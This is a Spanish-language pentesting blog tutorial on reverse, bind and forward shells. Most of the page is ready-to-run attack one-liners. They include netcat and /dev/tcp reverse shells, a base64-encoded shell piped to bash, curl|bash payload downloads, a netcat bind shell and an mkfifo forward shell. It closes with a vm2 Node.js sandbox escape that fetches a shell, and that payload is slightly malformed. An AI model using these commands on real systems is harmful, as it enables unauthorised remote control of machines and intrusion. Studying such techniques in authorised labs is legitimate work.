Reverse Shell, Bind Shells y Forward Shells

Reverse Shell, Bind Shells y Forward Shells

🔓 Reverse Shell, Bind Shell y Forward Shell: las tres formas de «entablar» una consola remota

Cuando conseguimos ejecución de comandos en una máquina (por una inyección, una subida de archivos, un exploit, etc.), el siguiente paso casi siempre es convertir ese acceso puntual en una consola interactiva estable. Existen tres modelos clásicos para conseguirlo: la reverse shell (la víctima se conecta a nosotros), la bind shell (nosotros nos conectamos a la víctima) y la forward shell (un truco para cuando un firewall bloquea las dos anteriores). Vamos a repasar cada una con ejemplos prácticos.

📡 Reverse Shell

Una reverse shell es cuando la máquina víctima es quien inicia la conexión hacia nuestro equipo, enviándonos una shell interactiva. Es el modelo más usado porque suele saltarse restricciones de firewall que bloquean conexiones entrantes hacia la víctima (pero permiten las salientes).

Paso 1 — Nos ponemos en escucha en nuestro host:

nc -nlvp 443

Paso 2 — Enviamos una shell desde la víctima:

nc -e /bin/bash 192.168.45.182 443
nc -e /bin/sh 192.168.45.246 3306
nc -c /bin/bash 192.168.45.199 80

nc -c /bin/bash 172.17.0.1 80

O también usando la redirección de /dev/tcp, muy útil cuando no tenemos netcat disponible en la víctima pero sí un bash:

/bin/bash -i >& /dev/tcp/192.168.45.199/80 0>&1

/bin/bash -i >& /dev/tcp/172.17.0.1/80 0>&1

nc -c /bin/bash 192.168.45.209 81

/bin/nc -c /bin/bash 172.17.0.1 80

/bin/bash -i >& /dev/tcp/192.168.45.234/443 0>&1

También podemos mandarnos la shell codificada en base64, algo muy útil cuando el contexto de inyección no admite ciertos caracteres especiales:

echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMjM0LzkwOTAgMD4mMQo=" | base64 -d | bash

🌐 Ejecutar shell con curl

Otra forma muy práctica es montar un servidor HTTP (por ejemplo con Python) que sirva un script .sh con nuestra reverse shell, y descargarlo y ejecutarlo directamente desde la víctima con curl.

El contenido del script sería:

#!/bin/bash
bash -i >& /dev/tcp/192.168.45.182/443 0>&1

Y desde donde tengamos ejecución remota de comandos o inyección de comandos, lo lanzamos así:

curl http://192.168.45.198/bash.sh | bash

curl http://172.17.0.1:8000/shell.sh | bash
# O tambien podemos ejecutar
bash -c "$(curl http://10.10.10.10/bash.sh)"
# esto sobre todo es por si hay contextos o listas negras de inyeccion de comandos que prohiban el pipe |

La shell resultante se ejecutará en el contexto de la máquina víctima. Para consultar más variantes de payloads según el lenguaje o binario disponible en la víctima, otro recurso muy completo es la sección de reverse shells de HackTricks.

🔒 Bind Shell

Al contrario que la reverse, en la bind shell somos nosotros quienes nos conectamos a la víctima, que es quien se pone en escucha. Este modelo suele fallar si hay un firewall que bloquea conexiones entrantes hacia la víctima, pero es útil en otros escenarios.

Paso 1 — Ponemos en escucha una shell en la máquina víctima:

nc -nlvp 4646 -e /bin/bash

Paso 2 — Nos conectamos desde nuestro host vía IP:puerto:

nc ip víctima 4646

🧵 Forward Shell

La forward shell entra en juego cuando existe un firewall (normalmente configurado con IPTABLES) que impide tanto enviar como recibir shells desde la máquina víctima. En estos casos necesitamos recurrir a un named pipe (tubería con nombre) mediante el comando mkfifo, que nos permite simular una interacción con el shell a través de peticiones HTTP normales y corrientes.

🐳 Práctica: montando el escenario con Docker

Para practicar, creamos un Dockerfile con un Apache + PHP:

FROM ubuntu:latest

ENV DEBIAN_FRONTEND noninteractive

RUN apt update && apt install -y apache2 \
	php
	
EXPOSE 80

ENTRYPOINT service apache2 start && /bin/bash

Construimos la imagen y levantamos el contenedor aplicando port forwarding según corresponda, y nos conectamos al contenedor con una bash.

🚧 Práctica con Forward Shell e IPTABLES

Instalamos iptables dentro del contenedor:

apt install iptables

⚠️ Ojo: esto puede dar problemas al usarse dentro de Docker. Si ejecutamos:

iptables --flush

nos da errores de permisos indicando que debemos ser root (aunque ya lo somos). La solución es correr el contenedor con flags adicionales:

-p 80:80 --cap-add=NET_ADMIN

Creamos las reglas de iptables que simulan el firewall restrictivo:

iptables -A OUTPUT -p tcp -m tcp -o eth0 --sport 80 -j ACCEPT
iptables -A OUTPUT -p tcp -o eth0 -j DROP

Con estas reglas activas, ya no podemos lanzar una bash normal ni establecer conexiones salientes. Aquí es donde entra el proyecto tty_over_http.py de s4vitar (lo descargamos en su versión raw). Este script en Python apunta a una URL donde tengamos ejecución de comandos y se encarga de generar la conexión mediante un mkfifo.

También podemos lanzarnos una pseudo consola con script /dev/null -c bash. Un mkfifo equivalente sería:

mkfifo input_file; tail -f input_file | /bin/sh 2>&1 > output

🔍 ¿Qué hace exactamente este comando?

El comando:

mkfifo input_file; tail -f input_file | /bin/sh 2>&1 > output

crea un FIFO (pipe con nombre) llamado input_file y luego ejecuta un shell /bin/sh, redirigiendo la entrada y salida estándar. Desglosado paso a paso:

  • mkfifo input_file: crea un FIFO llamado input_file en el directorio actual. Un FIFO es un archivo especial que se utiliza para la comunicación entre procesos.
  • tail -f input_file: lee de manera continua (-f) el contenido del FIFO input_file. tail normalmente se usa para mostrar las últimas líneas de un archivo de registro, pero aquí está leyendo del FIFO.
  • | /bin/sh: el operador de tubería conecta la salida de tail a la entrada del shell /bin/sh. Todo lo que se escribe en el FIFO input_file se pasa al shell como comandos a ejecutar.
  • 2>&1: redirige el descriptor de archivo 2 (stderr) para que sea igual al descriptor 1 (stdout), combinando la salida estándar y la de error del shell.
  • > output: redirige esa salida combinada a un archivo llamado output. Cualquier salida generada por el shell se escribe ahí.

En resumen: este comando crea un canal de comunicación entre el atacante y un shell /bin/sh. Escribimos comandos en el FIFO, se leen continuamente con tail y se ejecutan en el shell, mientras la salida resultante se redirige al archivo output.

Por ejemplo:

echo whoami > input

# ahora leemos el output
cat output ---- root

Si hacemos:

pwd > input
cat output ----
root
/home/jesus

Es decir, vamos metiendo los datos en el archivo de entrada y, gracias a tail, los vamos leyendo del archivo de salida a medida que se generan.

📚 Referencia y bonus

Para todos estos oneliners y muchas más variantes de shells, el recurso de referencia obligado es el cheat sheet de pentestmonkey, donde se recogen decenas de formas de entablar una shell.

Como curiosidad, aquí un ejemplo de cómo conseguir ejecución de comandos incluso escapando de un sandbox de Node.js (vm2) mediante un truco con Proxy y el toString de un error, para terminar lanzando una reverse shell vía curl | bash:

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("curl http://10.10.14./shell.sh|bash'").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

🔐 Conclusión

Dominar estos tres modelos —reverse, bind y forward shell— y saber cuándo usar cada uno según las reglas de firewall que te encuentres es una habilidad fundamental en cualquier pentest. La reverse shell resuelve la mayoría de los casos, la bind shell tiene su hueco en escenarios concretos, y la forward shell con mkfifo es ese as bajo la manga cuando IPTABLES te corta el paso por completo.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Scroll al inicio